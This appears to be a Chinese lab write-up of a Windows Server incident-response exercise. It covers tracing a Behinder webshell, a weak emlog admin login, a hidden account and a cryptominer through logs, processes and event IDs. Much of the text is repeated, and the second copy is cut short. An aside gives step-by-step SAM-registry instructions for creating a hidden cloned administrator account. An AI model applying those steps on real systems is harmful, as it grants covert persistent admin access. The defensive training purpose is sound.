    小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容:

    1. 攻击者的shell密码:rebeyond

    2. 攻击者的IP地址:192.168.126.1

    3. 攻击者的隐藏账户名称: hack168$

    4. 攻击者挖矿程序的矿池域名(仅域名):http://wakuang.zhigongshanfang.top

    5. 修复漏洞

    靶机环境

    使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上

    靶机环境:

    1. Windows Server 2022

    2. phpstudy(小皮面板)

    相关账户密码:

    1. 用户:administrator

    2. 密码:Zgsf@admin.com

    信息收集

    查看端口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    # 查看运行了哪些服务,有无外联端口
    netstat-ano

    # TCP 连接
    # 监听端口 (LISTENING)
    135端口:通常用于 Windows RPC(远程过程调用)服务,PID 为 884.
    445端口:用于 SMB(Server Message Block)协议,通常用于文件和打印机共享,PID 为 4.
    3389端口:用于 RDP(远程桌面协议),PID 为 1012.
    5357端口:通常用于 Web Services for Devices (WSDAPI),PID 为 4.
    5985端口:用于 WinRM (Windows Remote Management) over HTTP,PID 为 4.
    47001端口:通常用于 Windows 的自动发现服务,PID 为 4.
    49664-49671端口:这些是动态或私有端口,用于各种系统服务,PID 分别为 672, 512, 1132, 1656, 2084, 2428, 648, 2308.

    # 已建立连接 (ESTABLISHED)
    49809和49810端口:与 124.152.197.78 的 80 端口建立连接,PID 为 7512.
    49850和49851端口:与 40.126.35.80 和 119.167.147.35 的 443 端口建立连接,PID 为 3652.
    等待关闭连接 (TIME_WAIT)

    49802, 49808, 49849, 49853, 49855, 49856, 49858, 49859端口:这些连接正在等待关闭,PID 为 0.
    # UDP 连接
    # 监听端口
    123端口:用于 NTP(网络时间协议),PID 为 2860.
    500端口:用于 IPSec 的 ISAKMP(Internet Security Association and Key Management Protocol),PID 为 2300.
    3389端口:用于 RDP 的 UDP 通信,PID 为 1012.
    3702端口:用于 Web Services Discovery,PID 为 7032.
    4500端口:用于 NAT-T(Network Address Translation - Traversal),PID 为 2300.
    5353端口:用于 mDNS(Multicast DNS),PID 为 1764.
    5355端口:用于 LLMNR(Link-Local Multicast Name Resolution),PID 为 1764.
    58668和58669端口:动态端口,PID 为 7032.
    127.0.0.1:59524:本地回环地址上的通信,PID 为 2560.
    192.168.150.176:137和138端口:用于 NetBIOS 名称和数据报服务,PID 为 4.

    查看服务

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    C:\Users\Administrator>tasklist /svc

    映像名称 PID 服务
    ========================= ======== ============================================
    System Idle Process 0 暂缺
    System 4 暂缺
    Registry 100 暂缺
    smss.exe 300 暂缺
    csrss.exe 416 暂缺
    wininit.exe 512 暂缺
    csrss.exe 520 暂缺
    winlogon.exe 576 暂缺
    services.exe 648 暂缺
    lsass.exe 672 KeyIso, SamSs
    svchost.exe 768 BrokerInfrastructure, DcomLaunch, PlugPlay,
    Power, SystemEventsBroker
    fontdrvhost.exe 784 暂缺
    fontdrvhost.exe 792 暂缺
    svchost.exe 884 RpcEptMapper, RpcSs
    svchost.exe 944 LSM
    svchost.exe 1012 TermService
    dwm.exe 380 暂缺
    svchost.exe 692 NcbService
    svchost.exe 936 lmhosts
    svchost.exe 352 TimeBrokerSvc
    svchost.exe 1132 EventLog
    svchost.exe 1140 CoreMessagingRegistrar
    svchost.exe 1296 nsi
    svchost.exe 1308 gpsvc
    svchost.exe 1336 ProfSvc
    svchost.exe 1344 FontCache
    svchost.exe 1380 EventSystem
    svchost.exe 1396 UmRdpService
    svchost.exe 1412 Themes
    svchost.exe 1420 DispBrokerDesktopSvc
    svchost.exe 1528 Dhcp
    svchost.exe 1632 SENS
    svchost.exe 1656 Schedule
    svchost.exe 1764 Dnscache
    svchost.exe 1772 Wcmsvc
    svchost.exe 1856 NlaSvc
    svchost.exe 1872 ShellHWDetection
    svchost.exe 1884 CertPropSvc
    svchost.exe 1956 BFE, mpssvc
    svchost.exe 1976 LanmanWorkstation
    svchost.exe 1988 WinHttpAutoProxySvc
    svchost.exe 2084 SessionEnv
    svchost.exe 2100 netprofm
    svchost.exe 2220 UserManager
    svchost.exe 2300 IKEEXT
    svchost.exe 2308 PolicyAgent
    spoolsv.exe 2428 Spooler
    svchost.exe 2512 CryptSvc
    svchost.exe 2524 DiagTrack
    svchost.exe 2560 iphlpsvc
    svchost.exe 2608 LanmanServer
    phpStudyServer.exe 2624 phpStudySrv
    svchost.exe 2640 SstpSvc
    svchost.exe 2680 StateRepository
    svchost.exe 2688 SysMain
    svchost.exe 2744 TrkWks
    VGAuthService.exe 2768 VGAuthService
    vm3dservice.exe 2804 vm3dservice
    vmtoolsd.exe 2848 VMTools
    svchost.exe 2860 W32Time
    MsMpEng.exe 2868 WinDefend
    svchost.exe 2884 Winmgmt
    svchost.exe 2908 WinRM
    svchost.exe 2940 WpnService
    vm3dservice.exe 2592 暂缺
    svchost.exe 3356 RasMan
    AggregatorHost.exe 3668 暂缺
    dllhost.exe 3696 COMSysApp
    WmiPrvSE.exe 4132 暂缺
    sihost.exe 4212 暂缺
    svchost.exe 4224 CDPUserSvc_37c8d
    svchost.exe 4256 WpnUserService_37c8d
    taskhostw.exe 4360 暂缺
    svchost.exe 4472 TokenBroker
    svchost.exe 4540 TabletInputService
    ctfmon.exe 4628 暂缺
    svchost.exe 4668 AppXSvc
    svchost.exe 4748 camsvc
    svchost.exe 4792 CDPSvc
    NisSrv.exe 3616 WdNisSvc
    explorer.exe 1092 暂缺
    ChsIME.exe 4588 暂缺
    svchost.exe 5180 wuauserv
    msdtc.exe 5188 MSDTC
    TextInputHost.exe 5500 暂缺
    StartMenuExperienceHost.e 5524 暂缺
    RuntimeBroker.exe 5700 暂缺
    SearchApp.exe 5944 暂缺
    RuntimeBroker.exe 6128 暂缺
    RuntimeBroker.exe 6308 暂缺
    svchost.exe 6384 LicenseManager
    vmtoolsd.exe 4376 暂缺
    WmiPrvSE.exe 5928 暂缺
    svchost.exe 1244 Appinfo
    svchost.exe 1408 fdPHost
    svchost.exe 7032 FDResPub
    MicrosoftEdgeUpdate.exe 8060 暂缺
    MicrosoftEdgeUpdate.exe 8096 暂缺
    svchost.exe 7016 DPS
    svchost.exe 6620 WdiSystemHost
    taskhostw.exe 6960 暂缺
    svchost.exe 7308 PcaSvc
    svchost.exe 6064 StorSvc
    svchost.exe 7252 UALSVC
    MicrosoftEdgeUpdate.exe 5172 edgeupdate
    svchost.exe 3084 cbdhsvc_37c8d
    svchost.exe 7512 DoSvc
    svchost.exe 7692 UsoSvc
    phpstudy_pro.exe 7880 暂缺
    svchost.exe 4504 ClipSVC
    svchost.exe 3652 DsSvc
    svchost.exe 1644 smphost
    WinSAT.exe 8088 暂缺
    conhost.exe 5480 暂缺
    smartscreen.exe 7368 暂缺
    cmd.exe 2776 暂缺
    conhost.exe 2280 暂缺
    tasklist.exe 2656 暂缺

    查看账号

    win+r:lusrmgr.msc发现一个影子账户:hack168$net localgroup administrators只能查看通过$符号隐藏的账户

    在该用户下发现执行程序一个,提取出后上传到微步在线分析一下,由于此程序是模拟出来的恶意软件所以微步并判断出是否为恶意程序

    以下反编译内容来自题解

    在桌面处找到位置程序,运行后cpu飙升,判别为挖矿程序,分析该文件

    该图标为pyinstaller打包通过Google识图也可以找到这是什么打包的,如何反编译.

    使用pyinstxtractor进行反编译

    pyinstxtractor需要3.8版本的Python运行

    得到pyc文件

    使用在线pyc反编译工具,得到源码

    分析开机自启程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    (ProfilePath)\Start Menu\Programs\Startup 启动项
    msconfig 启动选项卡
    gpedit.msc 组策略编辑器

    查看计划或定时任务

    1
    2
    3
    4
    5
    6
    C:\Windows\System32\Tasks\
    C:\Windows\SysWOW64\Tasks\
    C:\Windows\tasks\
    schtasks
    taskschd.msc
    compmgmt.msc

    Web应急响应

    开着PHPStudy那估计就会有web服务器,虽然背景中也说了,进入网站根目录,查找是否存在Webshell,或通过%UserProfile%\Recent查找最近修改的文件记录

    没有发现可疑文件,也可换其他工具,这里查找中间件日志文件快速浏览

    相关中间件日志都要快速过一遍,在access.log中发现可疑路径192.168.126.1 - - [26/Feb/2024:22:46:23 +0800] "GET /content/plugins/tips/shell.php HTTP/1.1" 200 -

    查看该文件内容,发现是个冰蝎马

    密码为默认密码:rebeyond攻击IP为:192.168.126.1

    继续查看日志寻找shell前后请求,发现了大量的POST请求同一页面并且状态码为302,猜测可能存在弱口令,联系运维人员确认是否为弱口令或者查看全流量设备

    通过弱口令:admin 123456登录到后台查看CMS框架及版本号emlog pro2.2.0

    搜索emlog pro2.2.0 历史漏洞得到/admin/plugin.php存在任意文件上传,并且和日志中的攻击路径吻合

    系统应急响应

    通过eventvwr查看用户创建日志,发现是直接通过administrator管理员用户创建的影子账户.由于没用pcap包无法判断是否通过冰蝎马创建

    powershell无异常

    发现此用户通过RDP远程登陆了此机器

    Windows事件ID-番外篇

    审核策略更改

    此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核策略更改审核审核策略更改成功策略更改
    审核身份验证策略更改成功策略更改
    审核授权策略更改无审核策略更改
    审核筛选平台策略更改无审核策略更改
    审核 MPSSVC 规则级策略更改无审核策略更改
    审核其他策略更改事件无审核策略更改
    子类别默认状态事件ID事件说明
    审核审核策略更改成功4715对象的审核策略 (SACL) 已更改.
    成功4719系统审核策略已更改.
    成功4817对象的审核设置已更改.
    成功4902创建了每用户审核策略表.
    成功4904已尝试注册安全事件源.
    成功4905已尝试取消注册安全事件源.
    成功4906CrashOnAuditFail 值已更改.
    成功4907对象的审核设置已更改.
    成功4908特殊组登录表已修改.
    成功4912每用户审核策略已更改.
    审核身份验证策略更改成功4713Kerberos 策略已更改.
    成功4716可信域信息已修改.
    成功4717系统安全访问被授予一个帐户.
    成功4718系统安全访问权限已从帐户中删除
    成功4739域策略已更改.
    成功4864检测到命名空间冲突.
    成功4865添加了受信任的林信息条目.
    成功4866删除了受信任的林信息条目.
    成功4867受信任的林信息条目已修改.

    审核登录事件

    此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核登录事件审核账户锁定成功登录/注销
    审核 IPsec 扩展模式无审核登录/注销
    审核 IPsec 主模式无审核登录/注销
    审核 IPsec 快速模式无审核登录/注销
    审核注销成功登录/注销
    审核登录客户端:成功
    服务器:成功和失败
    登录/注销
    审核网络策略服务器成功和失败登录/注销
    审核其他登录/注销事件无审核登录/注销
    审核特别登录成功登录/注销
    子类别默认状态事件ID事件说明
    审核账户锁定成功4625帐户登录失败.
    审核注销成功4634帐户已注销.
    审核注销成功4647用户发起的注销.
    审核登录客户端PC: 成功
    服务器: 成功和失败
    4624帐户登录成功.
    4625帐户登录失败.
    4648尝试使用显式凭据登录.
    4675SID 被过滤.
    审核网络策略服务器成功和失败网络策略服务器授予用户访问权限.
    6273网络策略服务器拒绝访问用户.
    6274网络策略服务器放弃了对用户的请求.
    6275网络策略服务器丢弃了用户的计费请求.
    6276网络策略服务器隔离了一个用户.
    6277网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态.
    6278网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略.
    6279由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户.
    6280网络策略服务器解锁了用户帐户.
    审核特别登录成功4964已将特殊组分配给新登录
    登录类型描述说明
    2交互式登录(Interactive)用户在本地进行登录.
    3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时.
    4批处理(Batch)通常表明某计划任 务启动.
    5服务(Service)每种服务都被配置 在某个特定的用户 账号下运行.
    7解锁(Unlock)屏保解锁.
    8网络明文(NetworkCleartext)登录的密码在网络 上是通过明文传输 的,如FTP.
    9新凭证(NewCredentials)使用带/Netonly参数 的RUNAS命令运行一 个程序.
    10远程交互(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机.
    11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可用
    地位和子状态码描述
    0xc0000064用户名不存在
    0xc000006a用户名是正确的,但密码是错误的
    0xc0000234用户当前锁定
    0xc0000072帐户目前禁用
    0xc000006f用户试图登录天的外周或时间限制
    0xc0000070工作站的限制
    0xc0000193帐号过期
    0xc0000071过期的密码
    0xc0000133时钟之间的直流和其他电脑太不同步
    0xc0000224在下次登录用户需要更改密码
    0xc0000225显然一个缺陷在Windows和不是一个风险
    0xc000015b没有被授予该用户请求登录类型(又名登录 正确的)在这台机器
    0xc000006d似乎是由于系统问题和不安全

    审核账户管理

    此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括:

    • 创建、更改或删除用户帐户或组.
    • 重命名、禁用或启用用户帐户.
    • 设置或更改密码.
    类别子类别默认状态对应本地审核策略
    帐户管理审核应用组程序管理无审核审核账户管理
    审核计算机帐户管理无审核
    审核通讯组管理无审核
    审核其他账户管理事件无审核
    审核安全组管理成功
    审核用户账户管理成功
    子类别默认状态事件ID事件
    审核安全组管理成功4727已创建启用安全性的全局组.
    4728一个成员被添加到启用安全的全局组中.
    4729成员已从启用安全的全局组中删除.
    4730已删除启用安全的全局组.
    4731已创建启用安全性的本地组.
    4732一个成员被添加到启用安全的本地组.
    4733成员已从启用安全的本地组中删除.
    4734已删除启用安全的本地组.
    4735已更改启用安全的本地组.
    4737已更改启用安全的全局组.
    4754已创建启用安全的通用组.
    4755已更改启用安全的通用组.
    4756一个成员被添加到启用安全的通用组.
    4757成员已从启用安全的通用组中删除.
    4758已删除启用安全的通用组.
    4764组的类型已更改.
    审核用户账户管理成功4720已创建用户帐户.
    4722已启用用户帐户.
    4723试图更改帐户的密码.
    4724已尝试重置帐户密码.
    4725用户帐户被禁用.
    4726用户帐户被删除.
    4738用户帐户已更改.
    4740用户帐户被锁定.
    4765SID 历史记录已添加到帐户
    4766尝试向帐户添加 SID 历史记录失败.
    4767用户帐户已解锁.
    4780ACL 是在作为管理员组成员的帐户上设置的.
    4781帐户名称已更改:
    4794已尝试设置目录服务还原模式.
    5376凭据管理器凭据已备份.
    5377凭据管理器凭据是从备份中恢复的.

    远程登录事件

    当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。

    安全日志(Security.evtx)

    事件ID描述重点说明
    4624账户成功登录表明有账户成功通过RDP登录
    4648使用明文凭证尝试登录可能表明凭证被窃取或滥用
    4778重新连接到一台Windows主机的会话表明会话被重新连接
    4779断开到一台Windows主机的会话表明会话被断开

    远程连接日志

    应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational

    事件ID描述重点说明
    1149用户认证成功表明用户通过RDP认证成功
    21远程桌面服务:会话登录成功表明RDP会话登录成功
    24远程桌面服务:会话已断开连接表明RDP会话被断开
    25远程桌面服务:会话重新连接成功表明RDP会话被重新连接

    登录类型

    登录类型描述重点说明
    10RemoteInteractive专用于RDP登录
    12CachedRemoteInteractive表明使用了缓存的RDP登录信息

    隐藏账号-番外篇

    window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为youzi$,密码为youzi$的简单隐藏账户,并且把该隐藏账户提升为了管理员权限.

    CMD命令行使用net user,看不到test$这个账号,但在控制面板和本地用户和组是可以显示此用户

    克隆账号制作过程:

    1. “开始”→“运行”,输入regedit后回车,需要到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建权限,给予administrator用户完全控制以及读取的权限,在后面打勾就行.然后关闭注册表编辑器,再次打开即可


    2. 来到注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击youzi$用户,得到在右边显示的键值中的”类型”一项显示为0x3F9,找到箭头所指目录.

    3. 找到administrator所对应的的项为000001F4,将00001F4的F值复制到000003F9的F值中,保存.

    4. 分别youzi$000003F9导出到桌面,删除youzi$用户net user youzi$ /del

    5. 将刚才导出的两个后缀为.reg的注册表项导入注册表中.这样所谓的隐藏账户就创建好了.

      PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到

    检测和清理方法:
    使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号.

    ]]>
    +

    总字符数: 23.16K

    代码: 7.40K, 文本: 3.64K

    预计阅读时间: 48 分钟

    背景

    小李在值守的过程中,发现有CPU占用飙升,出于胆子小,就立刻将服务器关机,并找来正在吃苕皮的hxd帮他分析,这是他的服务器系统,请你找出以下内容:

    1. 攻击者的shell密码:rebeyond

    2. 攻击者的IP地址:192.168.126.1

    3. 攻击者的隐藏账户名称: hack168$

    4. 攻击者挖矿程序的矿池域名(仅域名):http://wakuang.zhigongshanfang.top

    5. 修复漏洞

    靶机环境

    使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上

    靶机环境:

    1. Windows Server 2022

    2. phpstudy(小皮面板)

    相关账户密码:

    1. 用户:administrator

    2. 密码:Zgsf@admin.com

    信息收集

    查看端口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    # 查看运行了哪些服务,有无外联端口
    netstat-ano

    # TCP 连接
    # 监听端口 (LISTENING)
    135端口:通常用于 Windows RPC(远程过程调用)服务,PID 为 884.
    445端口:用于 SMB(Server Message Block)协议,通常用于文件和打印机共享,PID 为 4.
    3389端口:用于 RDP(远程桌面协议),PID 为 1012.
    5357端口:通常用于 Web Services for Devices (WSDAPI),PID 为 4.
    5985端口:用于 WinRM (Windows Remote Management) over HTTP,PID 为 4.
    47001端口:通常用于 Windows 的自动发现服务,PID 为 4.
    49664-49671端口:这些是动态或私有端口,用于各种系统服务,PID 分别为 672, 512, 1132, 1656, 2084, 2428, 648, 2308.

    # 已建立连接 (ESTABLISHED)
    49809和49810端口:与 124.152.197.78 的 80 端口建立连接,PID 为 7512.
    49850和49851端口:与 40.126.35.80 和 119.167.147.35 的 443 端口建立连接,PID 为 3652.
    等待关闭连接 (TIME_WAIT)

    49802, 49808, 49849, 49853, 49855, 49856, 49858, 49859端口:这些连接正在等待关闭,PID 为 0.
    # UDP 连接
    # 监听端口
    123端口:用于 NTP(网络时间协议),PID 为 2860.
    500端口:用于 IPSec 的 ISAKMP(Internet Security Association and Key Management Protocol),PID 为 2300.
    3389端口:用于 RDP 的 UDP 通信,PID 为 1012.
    3702端口:用于 Web Services Discovery,PID 为 7032.
    4500端口:用于 NAT-T(Network Address Translation - Traversal),PID 为 2300.
    5353端口:用于 mDNS(Multicast DNS),PID 为 1764.
    5355端口:用于 LLMNR(Link-Local Multicast Name Resolution),PID 为 1764.
    58668和58669端口:动态端口,PID 为 7032.
    127.0.0.1:59524:本地回环地址上的通信,PID 为 2560.
    192.168.150.176:137和138端口:用于 NetBIOS 名称和数据报服务,PID 为 4.

    查看服务

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    C:\Users\Administrator>tasklist /svc

    映像名称 PID 服务
    ========================= ======== ============================================
    System Idle Process 0 暂缺
    System 4 暂缺
    Registry 100 暂缺
    smss.exe 300 暂缺
    csrss.exe 416 暂缺
    wininit.exe 512 暂缺
    csrss.exe 520 暂缺
    winlogon.exe 576 暂缺
    services.exe 648 暂缺
    lsass.exe 672 KeyIso, SamSs
    svchost.exe 768 BrokerInfrastructure, DcomLaunch, PlugPlay,
    Power, SystemEventsBroker
    fontdrvhost.exe 784 暂缺
    fontdrvhost.exe 792 暂缺
    svchost.exe 884 RpcEptMapper, RpcSs
    svchost.exe 944 LSM
    svchost.exe 1012 TermService
    dwm.exe 380 暂缺
    svchost.exe 692 NcbService
    svchost.exe 936 lmhosts
    svchost.exe 352 TimeBrokerSvc
    svchost.exe 1132 EventLog
    svchost.exe 1140 CoreMessagingRegistrar
    svchost.exe 1296 nsi
    svchost.exe 1308 gpsvc
    svchost.exe 1336 ProfSvc
    svchost.exe 1344 FontCache
    svchost.exe 1380 EventSystem
    svchost.exe 1396 UmRdpService
    svchost.exe 1412 Themes
    svchost.exe 1420 DispBrokerDesktopSvc
    svchost.exe 1528 Dhcp
    svchost.exe 1632 SENS
    svchost.exe 1656 Schedule
    svchost.exe 1764 Dnscache
    svchost.exe 1772 Wcmsvc
    svchost.exe 1856 NlaSvc
    svchost.exe 1872 ShellHWDetection
    svchost.exe 1884 CertPropSvc
    svchost.exe 1956 BFE, mpssvc
    svchost.exe 1976 LanmanWorkstation
    svchost.exe 1988 WinHttpAutoProxySvc
    svchost.exe 2084 SessionEnv
    svchost.exe 2100 netprofm
    svchost.exe 2220 UserManager
    svchost.exe 2300 IKEEXT
    svchost.exe 2308 PolicyAgent
    spoolsv.exe 2428 Spooler
    svchost.exe 2512 CryptSvc
    svchost.exe 2524 DiagTrack
    svchost.exe 2560 iphlpsvc
    svchost.exe 2608 LanmanServer
    phpStudyServer.exe 2624 phpStudySrv
    svchost.exe 2640 SstpSvc
    svchost.exe 2680 StateRepository
    svchost.exe 2688 SysMain
    svchost.exe 2744 TrkWks
    VGAuthService.exe 2768 VGAuthService
    vm3dservice.exe 2804 vm3dservice
    vmtoolsd.exe 2848 VMTools
    svchost.exe 2860 W32Time
    MsMpEng.exe 2868 WinDefend
    svchost.exe 2884 Winmgmt
    svchost.exe 2908 WinRM
    svchost.exe 2940 WpnService
    vm3dservice.exe 2592 暂缺
    svchost.exe 3356 RasMan
    AggregatorHost.exe 3668 暂缺
    dllhost.exe 3696 COMSysApp
    WmiPrvSE.exe 4132 暂缺
    sihost.exe 4212 暂缺
    svchost.exe 4224 CDPUserSvc_37c8d
    svchost.exe 4256 WpnUserService_37c8d
    taskhostw.exe 4360 暂缺
    svchost.exe 4472 TokenBroker
    svchost.exe 4540 TabletInputService
    ctfmon.exe 4628 暂缺
    svchost.exe 4668 AppXSvc
    svchost.exe 4748 camsvc
    svchost.exe 4792 CDPSvc
    NisSrv.exe 3616 WdNisSvc
    explorer.exe 1092 暂缺
    ChsIME.exe 4588 暂缺
    svchost.exe 5180 wuauserv
    msdtc.exe 5188 MSDTC
    TextInputHost.exe 5500 暂缺
    StartMenuExperienceHost.e 5524 暂缺
    RuntimeBroker.exe 5700 暂缺
    SearchApp.exe 5944 暂缺
    RuntimeBroker.exe 6128 暂缺
    RuntimeBroker.exe 6308 暂缺
    svchost.exe 6384 LicenseManager
    vmtoolsd.exe 4376 暂缺
    WmiPrvSE.exe 5928 暂缺
    svchost.exe 1244 Appinfo
    svchost.exe 1408 fdPHost
    svchost.exe 7032 FDResPub
    MicrosoftEdgeUpdate.exe 8060 暂缺
    MicrosoftEdgeUpdate.exe 8096 暂缺
    svchost.exe 7016 DPS
    svchost.exe 6620 WdiSystemHost
    taskhostw.exe 6960 暂缺
    svchost.exe 7308 PcaSvc
    svchost.exe 6064 StorSvc
    svchost.exe 7252 UALSVC
    MicrosoftEdgeUpdate.exe 5172 edgeupdate
    svchost.exe 3084 cbdhsvc_37c8d
    svchost.exe 7512 DoSvc
    svchost.exe 7692 UsoSvc
    phpstudy_pro.exe 7880 暂缺
    svchost.exe 4504 ClipSVC
    svchost.exe 3652 DsSvc
    svchost.exe 1644 smphost
    WinSAT.exe 8088 暂缺
    conhost.exe 5480 暂缺
    smartscreen.exe 7368 暂缺
    cmd.exe 2776 暂缺
    conhost.exe 2280 暂缺
    tasklist.exe 2656 暂缺

    查看账号

    win+r:lusrmgr.msc发现一个影子账户:hack168$net localgroup administrators只能查看通过$符号隐藏的账户

    在该用户下发现执行程序一个,提取出后上传到微步在线分析一下,由于此程序是模拟出来的恶意软件所以微步并判断出是否为恶意程序

    以下反编译内容来自题解

    在桌面处找到位置程序,运行后cpu飙升,判别为挖矿程序,分析该文件

    该图标为pyinstaller打包通过Google识图也可以找到这是什么打包的,如何反编译.

    使用pyinstxtractor进行反编译

    pyinstxtractor需要3.8版本的Python运行

    得到pyc文件

    使用在线pyc反编译工具,得到源码

    分析开机自启程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    (ProfilePath)\Start Menu\Programs\Startup 启动项
    msconfig 启动选项卡
    gpedit.msc 组策略编辑器

    查看计划或定时任务

    1
    2
    3
    4
    5
    6
    C:\Windows\System32\Tasks\
    C:\Windows\SysWOW64\Tasks\
    C:\Windows\tasks\
    schtasks
    taskschd.msc
    compmgmt.msc

    Web应急响应

    开着PHPStudy那估计就会有web服务器,虽然背景中也说了,进入网站根目录,查找是否存在Webshell,或通过%UserProfile%\Recent查找最近修改的文件记录

    没有发现可疑文件,也可换其他工具,这里查找中间件日志文件快速浏览

    相关中间件日志都要快速过一遍,在access.log中发现可疑路径192.168.126.1 - - [26/Feb/2024:22:46:23 +0800] "GET /content/plugins/tips/shell.php HTTP/1.1" 200 -

    查看该文件内容,发现是个冰蝎马

    密码为默认密码:rebeyond攻击IP为:192.168.126.1

    继续查看日志寻找shell前后请求,发现了大量的POST请求同一页面并且状态码为302,猜测可能存在弱口令,联系运维人员确认是否为弱口令或者查看全流量设备

    通过弱口令:admin 123456登录到后台查看CMS框架及版本号emlog pro2.2.0

    搜索emlog pro2.2.0 历史漏洞得到/admin/plugin.php存在任意文件上传,并且和日志中的攻击路径吻合

    系统应急响应

    通过eventvwr查看用户创建日志,发现是直接通过administrator管理员用户创建的影子账户.由于没用pcap包无法判断是否通过冰蝎马创建

    powershell无异常

    发现此用户通过RDP远程登陆了此机器

    Windows事件ID-番外篇

    审核策略更改

    此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核策略更改审核审核策略更改成功策略更改
    审核身份验证策略更改成功策略更改
    审核授权策略更改无审核策略更改
    审核筛选平台策略更改无审核策略更改
    审核 MPSSVC 规则级策略更改无审核策略更改
    审核其他策略更改事件无审核策略更改
    子类别默认状态事件ID事件说明
    审核审核策略更改成功4715对象的审核策略 (SACL) 已更改.
    成功4719系统审核策略已更改.
    成功4817对象的审核设置已更改.
    成功4902创建了每用户审核策略表.
    成功4904已尝试注册安全事件源.
    成功4905已尝试取消注册安全事件源.
    成功4906CrashOnAuditFail 值已更改.
    成功4907对象的审核设置已更改.
    成功4908特殊组登录表已修改.
    成功4912每用户审核策略已更改.
    审核身份验证策略更改成功4713Kerberos 策略已更改.
    成功4716可信域信息已修改.
    成功4717系统安全访问被授予一个帐户.
    成功4718系统安全访问权限已从帐户中删除
    成功4739域策略已更改.
    成功4864检测到命名空间冲突.
    成功4865添加了受信任的林信息条目.
